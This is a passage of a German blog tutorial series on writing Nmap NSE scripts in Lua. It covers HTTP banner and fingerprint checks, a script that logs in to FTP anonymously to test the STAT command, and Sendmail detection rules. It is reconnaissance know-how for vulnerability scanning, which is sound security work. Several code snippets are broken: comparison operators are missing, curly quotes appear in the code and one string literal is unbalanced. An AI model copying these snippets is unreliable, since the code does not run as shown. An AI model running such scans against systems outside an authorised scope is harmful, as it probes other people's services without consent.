Bei jedem Durchlauf wird nun geprüft, ob die jeweils eingelesene Zeile mit der Zeichenkette Server beginnt. Hierzu kommt die Methode string.find() zum Tragen. Sie erwartet minimal zwei Argumente. Das erste Argument bringt den Haystack, der durchsucht werden soll. Hier werden ausschliesslich Strings erwartet. Und das zweite Argument definiert das Pattern, welches gesucht werden soll. Für das Pattern können reguläre Ausdrücke, in diesem Fall wird das Sonderzeichen ^ zur Definition des Beginns einer Zeile genutzt, eingesetzt werden.

In ähnlicher Weise kann verfahren werden, wenn nicht nur die Existenz einer Header-Zeile determiniert werden will, sondern wenn auch gleich der Wert einer solchen extrahiert werden soll. Stattdessen benutzen wir nun einfach string.match(), das vom Prinzip her ähnlich wie string.find() funktioniert. Durch den regulären Ausdruck können wir nun den Wert nach dem Zeilennamen extrahieren und zurückgeben (Zum reinen Suchen ist string.find() jedoch immer schneller als string.match()). Verhältnismässig unkompliziert kann damit nun die Ankündigung des Webservers extrahiert werden:

for i=1, #response, 1 do
   servermatch = string.match(haystack[i], “^Server: (.*)”)

   if type(servermatch) == “string” and servermatch ~= “” then
      return servermatch
   end
end

Die Rawheader liefern jedoch nicht alle reinen Zeilen des HTTP-Headers zurück. Die Statuszeile fehlt. Auf diese kann als ganzes mit response['status-line'] zurückgegriffen werden. Sie enthält das unterstützte Protokoll, die Protokollversion, den dreistelligen Statuscode und den Statustext (z.B. HTTP/1.0 404 Not Found). Auf den Statuscode kann unkompliziert mit response.status zugegriffen werden.

Der Zugriff auf den Body einer HTTP-Rückantwort gestaltet sich ein bisschen einfacher, da dieser üblicherweise in response.body als reiner String zurückgeliefert wird. Doch auch hier lassen sich die gleichen Weiterverarbeitungen, zum Beispiel das Finden von Zeichenketten, applizieren. Dies kann zum Beispiel für das Identifizieren von Standardinstallationen von Webapplikationen genutzt werden (die Anzahl der Pattern ist der Übersichtlichkeit halber stark reduziert worden):

response = http.get(host, port, “/”)

	if type(response.body) == “string” and response.body ~= “” then
      local mt = {
            {pattern=“Test Page for Apache Installation”, product=“Apache httpd”},
            {pattern=“NT 4.0 Option Pack provides”, product=“MS IIS 4.0”},
            {pattern=“you can start deploying your J2EE”, product=“Oracle”}
            }

      local result = “”
      for i=1, #mt, 1 do
            if string.find(response.body, mt[i].pattern) then
                  resultdata = “Pattern:\t” .. mt[i].pattern .. “\n” ..
                        Product:\t” .. mt[i].product
                  if result  nil or result  “” then
                        result = resultdata
                  else
                        result = result .. “\n\n” .. resultdata
                  end
            end
        end

        return result
end

Verschiedene Eigenschaften von HTTP als Anwendungsprotokoll erschweren jedoch den Umgang. Zum Beispiel gibt es verschiedene Statuscodes, die von einem Webserver zurückgeliefert werden, um die neuerliche Lokation einer Ressource mitzuteilen. Webadministratoren sind durch solche Redirects darum bemüht, dass auch alte Links noch zu den gewünschten Ressourcen führen. In den Spezifikationen von HTTP sind vorgesehen, für Umleitungen die Statuscodes im Bereich 3xx zu verwenden (RFC 1945, Absatz 9.3).

Im Rahmen eines Scans kann es erforderlich sein, dass solche Redirects berücksichtigt und ihnen gefolgt wird. Das verwundbare Webforum findet sich nicht mehr unter /forum.php, sondern neu unter /newforum.asp gesucht werden. Ein Server schickt dann in der Zeile Location, sie wird standardmässig in response.header.location abgelegt, die neue URL der Ressource zurück. Ein Skript muss also derartige HTTP-Redirects erkennen und diesen folgen können. Dies kann und darf jedoch nicht ohne zusätzliche Prüfung erfolgen. Denn so ist es durchaus möglich, dass ein Server mit der IP-Adresse 192.168.0.10 in einem Redirect auf einen anderen Server mit der IP-Adresse 192.168.0.11 verweist. Da bei professionellen Vulnerability Scans die Zielsystems oftmals klar definiert und Zugriffe ausserhalb dieser Spezifikation unerwünscht sind, muss das Resultat der Location-Zeile vor einem weiterführenden Zugriff validiert werden (jenachdem gilt es den Zielport auch nicht zu verlassen).

Selbst bietet nmap (noch) keine Funktion an, um diese Aufgabe komfortabel wahrnehmen zu können. Auch in der Library für HTTP findet sich kein direkt nutzbarer Code. Die bisher mit nmap ausgelieferten HTTP-Skripte nutzen jedoch eigene Implementierungen, um diese Hürden angehen zu können. Hierbei kommen relativ simple Prüfungen zum Zug, bei denen die Location auf Plausibilität hin untersucht wird. Nur wenn diese sich auf dem gleichen Zielsystem befindet, wie das gegenwärtigen Systems, wird ein weiterer HTTP-Zugriff durchgeführt. Längerfristig wäre es von Vorteil, wenn diese Funktionalität Einzug in die http-Bibliothek halten würde. Dadurch könnte auf eine schwierig zu verwaltende dezentrale Implementierung verzichtet werden.

Dennoch werden einige weitere nützliche Funktionen im Umgang mit HTTP-Servern angeboten. Durch http.page_exists() kann beispielsweise komfortabel und genau überprüft werden, ob eine Seite existiert. Damit lassen sich entsprechend sehr einfach Checks im Sinn eines klassischen CGI-Scanners (z.B. Nikto) implementieren. Oder mit http.clean_404() kann eine dynamische 404 Not Found-Fehlerseite so angepasst werden, dass nur noch die statischen Inhalte vorhanden sind. Eine klare Unterscheidung zwischen Fehlermeldungen wird so mit einfachem Pattern-Matching (ohne komplexe reguläre Ausdrücke) möglich.

Im nächsten Teil werden wir einige weitere Funktionen von Lua kennenlernen. Diese werden dabei helfen, ein eigenes Version Detection, gänzlich unabhängig von der gleichnamigen Funktionalität in nmap, umzusetzen. Wir werden dabei die Analyse des HTTP-Headers eines Webservers vornehmen, um damit ein HTTP-Fingerprinting umzusetzen. Dies ist zugleich die Grundfunktionalität, die wir in der angekündigten NSE-Portierung von httprecon erreichen wollen.

Marc Ruef

► 10.05.2010 – Nmap NSE Hacking, Teil 4: Netzwerkkommunikationen

Teil 1: Einführung
Teil 2: Derivatives Plugin eines Portscan
Teil 3: Komplexes Skript mit Version Info
Teil 4: Netzwerkkommunikationen
Teil 5: HTTP-Kommunikationen
Teil 6: Application Fingerprinting selber implementieren
Teil 7: Portunabhängige Analysen

In den ersten drei Teilen dieser Artikelserie haben wir uns mit den grundlegenden Mechanismen von NSE vertraut gemacht und erste Plugins geschrieben, die sich auf den durch nmap selbst gesammelten Informationen abstützen. Diese haben wir als derivative Skripte bezeichnet.

Im vierten Teil werden wir beginnen die zusätzlichen Möglichkeiten von NSE gänzlich auszuschöpfen, indem eigene Netzwerkkommunikationen angestrebt werden. Durch das eigene Absetzen von unabhängigen Netzwerkzugriffen können weiterführende Auswertungen und Angriffe angestrebt werden, wodurch nmap zu einem vollumfänglichen Vulnerability Scanner erweitert werden kann. Dieses Prinzip werden wir an einem Test für FTP-Server illustrieren.

Wir versuchen durch das Ausführung des FTP-Kommandos STAT eben die Unterstützung für dieses – es kann für Auswertungen der FTP-Implementierung missbraucht werden – auszumachen. Ein solcher Test erfordert eine initiale Authentisierung am FTP-Server mit legitimen Login-Credentials (im Beispiel wird ein anonymer FTP-Zugang verwendet) und die darauffolgende Eingabe des Befehls STAT. Wird dieser unterstützt, liefert der FTP-Server den Statuscode 211 zurück und informiert über verschiedene Funktionalitäten und Eigenschaften der gegenwärtigen Verbindung:

C:\Users\mruef>telnet 192.168.0.11 21
220 192.168.0.11 FTP server ready
USER ftp
331 Anonymous login ok, send your complete email address as your password.
PASS example@test.invalid

230-

Welcome to the Demo Server

230 Anonymous access granted, restrictions apply.
STAT
211-Status of ‘scip ftp server – this is just a demo’ Connected from maru.scip.ch (192.168.0.100) Logged in as ftp TYPE: ASCII, STRUcture: File, Mode: Stream No data connection
211 End of status

Dieser Zugriff soll nun mit einem NSE-Skript automatisiert werden. Zuerst sollen die Vorbereitungen für das Skript, in nachfolgendem Codeblock abgebildet, stattfinden. Mit der Funktion nmap.new_socket() wird ein neuer Socket für die lokale Funktion angelegt, mit der wir die FTP-Zugriffe durchführen wollen. Die Rückantwort des FTP-Servers legen wir in der lokalen String-Variable result ab und den aktuellen Status der FTP-Kommunikation speichern wir in der boolschen Variable status. In einer weiteren boolschen Variable wird zwischengelagert, ob das geprüfte Kommando als unterstützt identifiziert werden konnte (durch die Initialisierung zu Beginn lautet der Wert false).

local socket = nmap.new_socket()
local result
local status = true
local cmdpossible = false

Danach richten wir eine Error Catch-Funktion ein, mit der wir Fehler abfangen wollen. Diese wird später automatisch durch eine Anweisung durchlaufen, wird sie denn mit try() aufgerufen, sofern diese fehlschlägt. In diesem Beispiel wollen wir hiermit sämtliche Probleme abfangen, die bei der Netzwerkkommunikation entstehen können (z.B. Verbindungsabbruch). Tritt dieser Fall ein, wird die Funktion err_catch genutzt, um mittels socket:close() den etwaig belegten Socket zu schliessen und damit wieder freizugeben. Damit wird ein Skriptabbruch bzw. ein Skriptaufhängen verhindert.

local err_catch = function()
   socket:close()

end

	local try = nmap.new_try(err_catch)

Jetzt können wir mit der Umsetzung effektiver Netzwerkkommunikationen beginnen. Zuerst definieren wir mit socket:set_timeout(10000) das Timeout des genutzten Sockets. Nach 10’000 ms wird in jedem Fall ein Verbindungsabbruch initiiert, um ein Aufhängen des Skripts zu verhindern. Die nachfolgenden Befehle werden jeweils mittels der zuvor besprochenen try()-Funktion aufgerufen. Durch socket:connect() wird eine Verbindung zu einem Zielport hergestellt, wobei als erstes Argument das Zielsystem, als zweites der Zielport und als drittes das Transportprotokoll definiert wird.

Nachdem die TCP-Verbindung etabliert wurde, kann socket:send() verwendet werden, um Kommandos zu verschicken. Hierbei findet eine übliche Authentisierung im Rahmen von FTP mit den Kommandos USER und PASS statt. Die while-Schleife wird nun solange durchlaufen, bis entweder status auf false gesetzt wird (wurde mit true initialisiert) oder das Timeout einsetzt (wurde auf 10 Sekunden gesetzt). Bei jedem Durchlaufen der Schleife wird versucht mittels socket:receive_lines(1) jeweils eine Zeile der Rückantwort – sie wird als String in result abgelegt – zu erhalten. Ist dies der Fall, wird durch den regulären Ausdruck in string.match(result, "^230") versucht zu erkennen, ob die Zeile mit dem Statuscode 230 beginnt. Dies ist der zu erwartende Statuscode eines FTP-Servers, wenn dieser eine anonyme Authentisierung erfolgreich zugelassen hat. Ist dies der Fall, wird die Schleife mittels break beendet und weiter im Code verfahren.

socket:set_timeout(10000)
try(socket:connect(host.ip, port.number, port.protocol))
try(socket:send("USER anonymous\r\n"))
try(socket:send("PASS example@test.invalid\r\n"))
while status do
   status, result = socket:receive_lines(1);
   if string.match(result, "^230") then
      break
   end
end

Nach der erfolgreichen Authentisierung kann nun in gleicher Weise probiert werden, ob der FTP-Server auf das STAT-Kommando reagiert. Auch hier wird mit socket:send() die FTP-Anfrage geschickt, mit einer while-Schleife auf die Rückantwort gewartet, diese versucht mittels socket:receive_lines() abzugreifen und durch string.match(result, "^211") auf Erfolg hin zu prüfen. Der FTP-Server schickt den Statuscode 211 zurück, sollte er das STAT-Kommando unterstützen. Ist dies der Fall, wird die Variable cmdpossible auf true gesetzt.

Jetzt kann mit socket:close() der offene Socket geschlossen werden (in manchen NSE-Dokumentationen wird zuerst der reguläre Verbindungsabbau innerhalb des Anwendungsprotokolls empfohlen; im Fall von FTP ist dies QUIT). Durch eine letzte Prüfung von cmdpossible auf true kann nun enddgültig verifiziert werden, ob die Schwachstelle existiert. Ist dies der Fall, wird die letzte Rückgabe, die in der Variable result abgelegt wurde, mittels return ausgegeben werden.

try(socket:send(“STAT\r\n”))

while status do
   status, result = socket:receive_lines(10);
   if string.match(result, “^211”) then
      cmdpossible = true
      break
   elseif string.match(result, “^502”) then
      cmdpossible = false
      break
   end

end

socket:close()

	if cmdpossible == true then
   return result

end

Dieses Plugin kann nun in Aktion gesehen werden. Wir rufen es in üblicher Weise auf. Es stellt nun wie gewollt die Rückantwort des FTP-Servers, unterstützt dieser denn das geprüfte STAT-Kommando, dar. Dieser hohe Detailgrad hilft dem Anwender dabei, auf einen Blick zu sehen, welche Funktionalität gewährleistet wird und wie sich diese genau verhält.

C:\Users\mruef>nmap -sS -PN —script=“labs” -p 21 ftp.scip.ch

	Starting Nmap 5.21 ( http://nmap.org ) at 2010-04-04 15:40 Mitteleuropõische Sommerzeit

Nmap scan report for ftp.scip.ch (192.168.0.11)

Host is up (0.025s latency).

rDNS record for 192.168.0.11: ftp.scip.ch

PORT   STATE SERVICE

21/tcp open  ftp
| ftp_stat_support: 211-Status of ‘scip ftp server – this is just a demo’
|  Connected from maru.scip.ch (192.168.0.100)
|  Logged in as ftp
|  TYPE: ASCII, STRUcture: File, Mode: Stream
|  No data connection
|_211 End of status

	Nmap done: 1 IP address (1 host up) scanned in 12.87 seconds

Im zweiten Teil haben wir den Debug-Schalter besprochen. Dieser kann beim Aufruf von nmap mittels -d aktiviert werden, um Debugging-Informationen zum Scan-Ablauf ausgeben zu lassen. Dies kann sehr hilfreich sein, um die Funktionalität eines Skripts zu überprüfen.

Ein Skript selber kann über nmap.debugging() die Aktivierung dieser Option überprüfen. Wurde das Debugging nicht aktiviert, liefert diese Funktion den Wert 0 zurück. Mit einem Aufruf von -d2 kann gar das Debugging-Level 2, es wird ebenfalls so von der Funktion zurückgegeben, aufgerufen werden.

if nmap.debugging() > 0 then

Im Rahmen von intelligenten Plugins kann mit einer solchen Abfrage das Verhalten bzw. die Ausgabe dessen beeinflusst werden. Zum Beispiel könnte das soeben entwickelte Skript ohne Aktivierung des Debugging lediglich die Unterstützung der geprüften Funktion ausweisen. Im Fall von -d könnte aber, so wie im Beispiel gezeigt, zusätzliche Informationen zu den Rückgabewerten abgedruckt werden.

Im nächsten Teil werden wir uns mit der Library http vertraut machen. Diese bietet verschiedene Funktionen an, mit denen HTTP-Kommunikationen durchgeführt werden können. Das Auswerten von Webserver und Webapplikationen wird damit massgeblich vereinfacht.

Marc Ruef

► 09.05.2010 – Nmap NSE Hacking, Teil 3: Komplexes Skript mit Version Info

Teil 1: Einführung
Teil 2: Derivatives Plugin eines Portscan
Teil 3: Komplexes Skript mit Version Info
Teil 4: Netzwerkkommunikationen
Teil 5: HTTP-Kommunikationen
Teil 6: Application Fingerprinting selber implementieren
Teil 7: Portunabhängige Analysen

In Teil 1 haben wir das grundlegende Konzept von NSE-Skripting vorgestellt und in Teil 2 ein simples Plugin zur Ableitung von Portzuständen entwickelt. Im dritten Teil soll die Entwicklung vorangetrieben werden. So werden wir ein komplexeres Skript umsetzen, welches die Möglichkeiten des Application Fingerprinting resultierend aus dem Aufruf mit dem Schalter -sV umfänglich ausschöpfen wird.

Wird nmap mit dem Schalter -sV aufgerufen, wird das sogenannte Service and Version Fingerprinting umgesetzt. Als erstes wird bei einem offenen Ports mittels Application Mapping versucht zu ermitteln, was für ein Transportprotokoll angeboten wird. Es ist schliesslich wichtig für weiterführende Zugriffe zu wissen, ob ein Webserver mit HTTP oder ein Mailserver mit SMTP eingesetzt wird. Im gleichen bzw. im zweiten Schritt wird versucht mittels Application Fingerprinting das eingesetzte Produkt (Name und Versionsnummer) zu erkennen. Eine solche Identifikation wird erforderlich, um produktspezifische Auswertungen und Angriffe voranzutreiben.

Wird ein Scan mit aktivierter Version Detection durchgeführt, kann innerhalb von NSE auf die damit zusammengetragenen Informationen zurückgegriffen werden. Diese sind in port.version.* abgelegt und können einzeln angesteuert werden. Folgende Tabelle verdeutlicht, dass sich ein analysierter SSH-Dienst umfassend auswerten lässt:

Variable	Inhalt	Beispiel
`port.version.name`	Name des Anwendungsprotokolls	`ssh`
`port.version.product`	Name des Produkts	`OpenSSH`
`port.version.version`	Versionsnummer des Produkts	`4.7`
`port.version.extrainfo`	Zusätzliche Informationen	`(protocol 1.99)`

Im zweiten Teil haben wir die shortport-Library genutzt, um eine möglichst simple Portrule zu definieren. Doch es gibt Situationen, nämlich wenn komplexe Ausdrücke verwendet werden sollen, in denen eine manuelle Portrule umgesetzt werden muss. Durch eine entsprechende Funktion soll in portrule ein wahrer Wert abgelegt werden. Liefert portrule entweder nil, false oder eine leere Zeichenkette zurück, dann wird action nicht ausgeführt. In allen anderen Fällen schon. Es liegt nun also an uns, anhand des komplexen Ausdrucks die effektive Skript-Ausführung einzuleiten.

Nachfolgende Funktion versucht zu erkennen, ob in port.service als erkanntes Anwendungsprotokoll smtp definiert wurde. Zusätzlich wird in port.version.product überprüft, ob die Zeichenkette sendmail im Rahmen der Version Detection ermittelt wurde. Dadurch kann eindeutig identifiziert werden, ob auf dem Zielport eine Sendmail-Implementierung vorhanden ist. Dies geschieht durch die uns schon bekannte Funktion string.match(), welche mit Pattern und regulären Ausdrücken umgehen kann.

portrule = function(host, port)
   if port.service == "smtp" and
      (port.version.product ~= nil and
      string.match(port.version.product, "Sendmail")) then
      return true
   else
      return false
   end
end

Obschon diese Determinierung relativ simpel erscheint, können mit ihr gewisse Komplikationen einhergehen. Doch bevor darauf eingegangen werden soll, soll das grundlegende Prinzip der Version Detection besprochen werden. Nmap nutzt die Datei nmap-service-probes, um unterschiedliche Anfragen an einen Zielport zu schicken. Anhand eines regulären Ausdrucks wird die Rückantwort untersucht, um die gegebene Implementierung zu erkennen. Nachfolgende Zeilen werden beispielsweise genutzt, um Sendmail auf einem SMTP-Port zu erkennen:

match smtp m|^220[\s-](\S+) E?SMTP Sendmail (\d[^; ]+)| p/Sendmail/ h/$1/ v/$2/ o/Unix/
match smtp m|^220[\s-](\S+) E?SMTP Sendmail AIX([\d.]+)/(\d[^; ]+)| p/Sendmail/ h/$1/ v/$3/ i/AIX $2/ o/AIX/
match smtp m|^220[\s-](\S+) E?SMTP Sendmail AIX([\d.]+)/UCB (\d[^; ]+);| p/Sendmail/ h/$1/ v/$3/ i/AIX $2/ o/AIX/
match smtp m|^220[\s-](\S+) E?SMTP Sendmail \(#\)Sendmail version (\d[^; ]+) - Revision ([\d.]+) | p/Sendmail/ h/$1/ v/$2 rev $3/ o/HP-UX/
match smtp m|^220[\s-](\S+) E?SMTP Sendmail \(#\)Sendmail version (\d[^; ]+) - Revision ([\d.]+):: HP-UX([\d.]+)| p/Sendmail/ h/$1/ v/$2 rev $3/ o/HP-UX $4/

Wie im zuvor gezeigten Code-Beispiel kann nun direkt in port.version.product nach dem Produktnamen Sendmail gesucht werden. Eine solche Prüfung kann jedoch versehentlich fehlschlagen, wenn die zur Identifikation eingesetzte Schreibweise nicht berücksichtigt wird. Ein typisches Beispiel der inkonsistenten Schreibweise ist der Produktenamen VMware, der von vielen Leuten als Vmware (das M ist klein) geschrieben wird. In letztgenannten Fall würde eine Prüfung mit if port.version.product == "VMware" fehlschlagen (gleiches Problem ist zum Beisipel auch bei JetDirect zu beobachten). Aus diesem Grund kann es wichtig sein, dass die zuvor eingeführte Prüfung normalisiert wird, indem die Gross-/Kleinschreibung vereinheitlicht wird. Durch die Funktion string.lower() kann eine Zeichenkette komplett kleingeschrieben werden. Dadurch kann dann eine Prüfung gegenüber der durchgängig kleingeschriebenen Schreibweise sendmail – also case-insensitive – stattfinden:

string.match(string.lower(port.version.product), "sendmail"))

Eine zusätzliche Schwierigkeit der Identifikation kann sein, dass der Produktenamen nicht eindeutig ausfällt. Zum Beispiel dann, wenn ein Hersteller den Namen einer Produkteserie anpasst oder verschiedene Produkte in einer Produktpalette zusammenfasst. Ein typisches Beispiel ist ISS RealSecure. Die kommerzielle Lösung bietet verschiedene Intrusion Detection-Komponenten an. Nachfolgend werden die Identifikationsmuster von nmap abgedruckt:

match iss-realsecure m|^\0\0\0.\x08\x01\x03\x01\0.\x02\0\0..\0\0.\0\0\0..\0\0\x80\x04..\0.\0\xa0|s p/ISS RealSecure IDS/ o/Windows/
match iss-realsecure m|^\0\0\0.\x08\x01\x04\x01\0..\0\0..\0\0.\0\0\0..\0\0\x80\x04..\0.\0\xa0\0\0|s p/ISS RealSecure IDS ServerSensor/ v/6.0 - 7.0/ o/Windows/

Es ist zu sehen, dass die Identifikation einer RealSecure-Installation als solche durchaus möglich ist. Schliesslich benutzt die Version Detection stets die Zeichenkette ISS RealSecure IDS in der Ausgabe. Von da unterscheiden sich jedoch die jeweiligen Implementationen und ihre Nennungen. Im ersten Fall wird generisch der Hinweis mit ISS RealSecure IDS auf Windows dargestellt. Im zweiten Fall wird jedoch zusätzlich die Versionsnummer mit IDS ServerSensor ServerSensor v6.0 - 7.0, ebenfalls auf Windows, eingeschränkt.

In letztgenanntem Fall findet also eine struktere Eingrenzung statt. Diese soll nun, soll denn eine RealSecure-Installation im Allgemeinen erkannt werden, wieder abstrahiert werden. Zu diesem Zweck kann innerhalb von string.match() mit regulären Ausdrücken gearbeitet werden. Mit dem Zeichen ^ wird angegeben, dass die nachfolgende Zeichenkette zu Beginn gefunden werden muss. Da diese Zeichenkette mit beiden Identifikationen übereinstimmt, lässt sich damit die generische Identifikation des Produkts umsetzen.

string.match(port.version.product, "^ISS RealSecure")

Die in den vorangehenden Teilen dieser Dokumentationsserie sowie dem an dieser Stelle diskutierten Thema erlauben nun das Umsetzen von mehrstufigen Skripten. Ein Skript kann als mehrstufig verstanden werden, wenn es eine zusätzliche Applikationslogik enthält, die eine Identifikation einer Gegebenheit bzw. Schwachstelle auf unterschiedlichen Ebenen durchführen kann.

Die nun gezeigte Erweiterung bietet eine dreistufige Lösung, um einen SMTP-Mailserver als solchen zu identifizieren. Als erstes wird versucht anhand der Service Detection in port.version.product die Zeichenkette Sendmail zu finden. Ist dies der Fall, liefert die Portrule die Zeichenkette Application Fingerprinting zurück. Die Genauigkeit der Identifikation ist damit sehr hoch. Kann sie jedoch nicht umgesetzt werden, wird als zweites versucht den Zielport mittels port.service als smtp zu identifizieren. Ist dies erfolgreich, wird die Zeichenkette Application Mapping zurückgeliefert. Und versagt auch dieser Test, wird als dritte und letzte Möglichkeit versucht den Zielport anhand seiner Nummer in port.number mit 25 als Standardport zu ermitteln. In diesem Fall wird die Zeichenkette Portscan zurückgegeben. Kann keine der drei Identifikationsebenen einen Erfolg verbuchen, schickt die Funktion den Wert false zurück.

portrule = function(host, port)
   if string.match(port.version.product, "Sendmail") then
      return "Application Fingerprinting"
   elseif port.service  "smtp" then
      return "Application Mapping"
   elseif port.number  25 then
      return "Portscan"
   else
      return false
   end
end

Die weiterführende Ausführung des Skripts kann sodann von den unterschiedlichen Rückgabewerten, den dabei zugrundeliegenden Identifikationsmethoden und der damit einhergehenden Genauigkeit abhängig gemacht werden. Zum Beispiel liesse sich in der Skript-Ausgabe ein Wert für Accuracy bzw. Confidence ausgeben. Der Benutzer des Skripts kann anhand dessen ableiten, wie genau und zuverlässig der Test funktioniert hat. Im weitesten Sinn versucht zum Beispiel der kommerzielle Vulnerability Scanner Qualys mit einer zweidimensionalen Risikoangabe das gleiche Ziel zu erreichen (PRACTICE bezeichnet potentielle Schwachstellen und VULN identifiziert ausgenutzte Schwachstellen).

Im vierten Teil werden wir erstmalig besprechen, wie sich eigene Netzwerkzugriffe realisieren lassen. Damit muss sich nicht mehr nur von den standardmässig durch nmap zusammengetragenen Informationen (Portstatus und Version Detection) abhängig gemacht werden. In ergänzender und alternativer Weise können effektive Anfragen an das Zielsystem geschickt und die Rückantworten ausgewertet werden. Damit wird sich ein voll funktionstüchtiger Vulnerability Scanner realisieren lassen.

Marc Ruef

► 08.05.2010 – Nmap NSE Hacking, Teil 2: Derivatives Plugin eines Portscan

Teil 1: Einführung
Teil 2: Derivatives Plugin eines Portscan
Teil 3: Komplexes Skript mit Version Info
Teil 4: Netzwerkkommunikationen
Teil 5: HTTP-Kommunikationen
Teil 6: Application Fingerprinting selber implementieren
Teil 7: Portunabhängige Analysen

Im ersten Teil dieser Serie haben wir das Automatisieren von nmap mittels NSE-Skripten vorgestellt. Dabei haben wir kurz die Idee, das Konzept und die Möglichkeiten umrissen. Zusätzlich haben wir die grundlegende Struktur eines mit NSE implementierten Tests illustriert.

Im zweiten Teil wollen wir nun ein simples Skript schreiben. Dieses stützt sich in erster Linie auf den regulären Resultaten eines Portscans mit nmap ab. Wir bezeichnen ein solches Plugin als derivativ, da es eine Ableitung von grundlegenden Resultaten durchführt und damit keine eigenen Zugriffe über das Netzwerk umsetzen wird.

NSE-Skripte werden bei einer nmap-Installation standardmässig im Verzeichnis2 scripts abgelegt. Dort finden sich sodann auch die Standardskripte der jeweiligen Distribution. Zum Beispiel werden einige Skripte für die Auswertung von FTP-Server mitgeliefert:

ftp-anon.nse: Unterstützung für anonymes FTP
ftp-bounce.nse: Verwundbarkeit von FTP Bounce Scans
ftp-brute.nse: Identifikation von Login-Credentials

Ein NSE-Skript benutzt in der Regel die Dateierweiterung nse. Neue Skripte können in dieser Art ebenfalls ins script-Verzeichnis abgelegt werden. Oder sie können in einem Unterverzeichnis oder an anderer Stelle gespeichert werden. Ein Miteinbeziehen bei einem Script-Scan erfordert in diesem Fall die zusätzliche Angabe des jeweiligen Standorts.

Der Aufbau eines NSE-Skripts gestaltet sich immer gleich: Im Kopf einer NSE-Datei finden sich einige deskriptive Felder, die grundlegende Informationen zum Plugin bereitstellen: Im Feld description wird beispielsweise eine Beschreibung des Tests festgehalten, in categories findet eine Zuweisung der Kategorien statt (siehe Teil 1), in dependencies werden Abhängigkeiten von anderen Skripten definiert, in author wird der Autor spezifiziert und in license die Lizenzbestimmungen festgehalten. Eine minimale Angabe gestaltet sich beispielsweise wie folgt:

description = [[ Dieses minimale Skript identifiziert Webdienste ]]

	author = “Marc Ruef”

license = “(c) 2010 by scip AG”

categories = {“default”, “safe”}

In der rule-Sektion wird nun definiert, unter welchen Bedingungen das Skript ausgeführt wird. Hierbei kann entweder eine portrule (für Tests von Ports) oder eine hostrule (für Tests von Hosts) verwendet werden. Eine Ableitung von einem Portscan fokussiert sich in erster Linie auf die portrule (das Prinzip der hostrule werden wir später besprechen). Innerhalb von ihr wird vordefiniert, bei welchem Zustand eines Zielports eine Weiterverarbeitung des Skripts initiiert und damit schlussendlich die Schwachstelle gemeldet werden soll.

Eine portrule kann unterschiedlich implementiert werden. Die einfachste und von vielen bevorzugte Methode besteht unter Zuhilfenahme der Library shortport und der entsprechenden Methoden. Nachfolgend wird zuerst die Library mittels require inkludiert und danach die Methode port_or_service() auf das Objekt shortport angewendet. Die genannte Methode erwartet drei verschiedene Argumente, wobei diese jeweils als Table (in anderen Programmiersprachen wird dieser Datentyp Array genannt) übergeben werden müssen. Das erste Argument definiert die Portnummern, das zweite die Protokollnamen und das dritte das Transportprotokoll. Es scheint offensichtlich, dass in diesem Beispiel eine portrule für Web-Dienste umgesetzt wird.

require “shortport”

	portrule = shortport.port_or_service({80, 443}, {“http”, “https”}, {“tcp”})

In einem weiteren Schritt kann nun in action die Weiterverarbeitung – in der NSE-Dokumentation als Mechanism bezeichnet – spezifiziert werden. Diese Funktion, sie kann als Main-Funktion verstanden werden, wird dann ausgeführt, wenn portrule gleich true ist. Also dann, wenn ein Webserver auf dem Zielport vermutet (anhand der Portnummern) oder identifiziert (anhand der Protokollnamen) wird. In diesem Fall geben wir nur ganz allgemein mittels return eine Zeichenkette zurück, die explizit darüber informiert, dass ein Webserver gefunden wurde und mit port.number geben wir die entsprechende Portnummer an.

action = function(host, port)
   return "Webserver gefunden auf Port " .. port.number
end

Es wird nun mit dem Schalter --script="scripts\labs\http-detection_simple.nse" dieses einzelne Skript ausgeführt. Und wie zu sehen ist, wird als Detail des offenen Ports zusätzlich die explizite Ausgabe ausgewiesen:

C:\Dokumente und Einstellungen\maru>nmap -sS -sV —script=“scripts\labs\http-detection_simple.nse” www.scip.ch -p 80

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-24 12:37 Westeuropõische Normalzeit
NSE: Script Scanning completed.
Nmap scan report for www.scip.ch (192.168.0.10)
Host is up (0.0020s latency).
rDNS record for 192.168.0.10: www.scip.ch
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd |_http-detection_simple: Webserver gefunden auf Port 80

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.59 seconds

Dies war alles relativ simpel und erfüllt zugegebenermassen zur Standardausgabe von nmap keinen zusätzlichen Zweck. Sodann soll die Funktion erweitert werden, um ein Mehr an Informationen bereitstellen zu können. So wird mit common_http_ports eine Table angelegt, in der die Standardports für Webserver abgelegt sind. Indem nun diese Table mittels einer for-Schleife durchlaufen wird, kann nun explizit ermittelt werden, ob der angenbotene Webserver auf einem Standardport horcht oder nicht. Der Zustand dessen wird als String (Yes|No) in der lokalen Variable common_port_found abgelegt. Zum Schluss wird in der lokalen Variable output das Resultat generiert und zurückgeliefert.

action = function(host, port)
      local common_http_ports = {80, 443}
      local common_port_found = “Nein”

      for i=1, #common_http_ports, 1 do
            if port.number == common_http_ports[i] then
                  common_port_found = “Ja”
                  break
            end
      end

      local output = “Webserver gefunden:\n”
      output = output .. “Port:\t\t” .. port.number .. “\n”
      output = output .. “Standard:\t” .. common_port_found .. “\n”

      return output
end

Es lassen sich in einem weiteren Schritt zusätzliche eigene Funktionen definieren. Diese sind wie bei anderen funktionalen Programmiersprachen über das Schlüsselwort function definiert, können aus anderen Subroutinen aufgerufen und ihre Rückgabewerte weiterverarbeitet werden. Dedizierte Prozeduren lassen sich ebenfalls in externe Dateien ablegen. Möchte man diese mittels require einbinden, sieht nmap das Verzeichnis nselib vor. In diesem finden sich verschiedene Standard-Bibliotheken, die den Umgang mit nmap-Scans erleichtern.

Wird ein Skript-Ausgeführt, das einen Syntaxfehler aufweist, wird die Ausführung dessen abgebrochen. Die durch den Lua-Interpreter ausgegebene Fehlermeldung wird ersichtlich, wenn nmap mit dem Debugging-Schalter -d ausgeführt wurde. In der Standardbilbiothek nmap wird mit den Methoden verbosity() und debugging() die Möglichkeit geboten, die Aktivierung von Verbose- und Debugging-Parametern zu erkennen und auf diese einzugehen. Vor allem, aber nicht nur, lohnt sich bei der Entwicklung von NSE-Skripten auf diese Möglichkeit sowie auf print_debug() zurückzugreifen, um jenachdem interne Details der Verarbeitung anzeigen zu lassen.

